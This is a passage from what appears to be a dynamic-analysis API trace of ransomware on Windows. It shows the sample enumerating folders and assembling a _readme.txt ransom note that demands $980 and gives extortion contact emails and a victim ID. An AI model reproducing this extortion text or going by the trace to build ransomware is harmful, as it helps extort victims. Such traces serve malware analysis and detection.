nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f78 [0116.999] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0116.999] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0116.999] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.000] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.000] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0117.000] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.000] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0117.000] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.000] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.000] PathFindFileNameW (pszPath="") returned="" [0117.000] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0117.000] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.000] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.000] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.000] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.000] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676b388 [0117.000] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165248 [0117.000] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.000] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165478 [0117.001] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fc8 | out: hHeap=0x35b0000) returned 1 [0117.001] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.001] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165248 | out: hHeap=0x35b0000) returned 1 [0117.001] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.001] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165478 | out: hHeap=0x35b0000) returned 1 [0117.001] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165478 [0117.001] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x81c) returned 0x676b388 [0117.001] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0117.001] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.001] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165478 | out: hHeap=0x35b0000) returned 1 [0117.001] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0117.001] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6770cd0 [0117.001] lstrcpyW (in: lpString1=0x6770cd0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.001] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.001] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.001] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.001] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.001] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6770cd0 | out: hHeap=0x35b0000) returned 1 [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.002] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165478 [0117.002] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165478 | out: hHeap=0x35b0000) returned 1 [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0117.002] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162790 [0117.002] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.002] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162700 [0117.002] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162700 | out: hHeap=0x35b0000) returned 1 [0117.002] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162700 [0117.002] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162700 | out: hHeap=0x35b0000) returned 1 [0117.002] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162700 [0117.002] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162700 | out: hHeap=0x35b0000) returned 1 [0117.002] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162700 [0117.002] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.002] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162700 | out: hHeap=0x35b0000) returned 1 [0117.002] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162700 [0117.002] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162700 | out: hHeap=0x35b0000) returned 1 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162700 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162700 | out: hHeap=0x35b0000) returned 1 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162790 | out: hHeap=0x35b0000) returned 1 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0117.003] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.003] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.003] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.004] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.004] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.005] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.005] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0117.006] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0117.006] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.006] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0117.006] 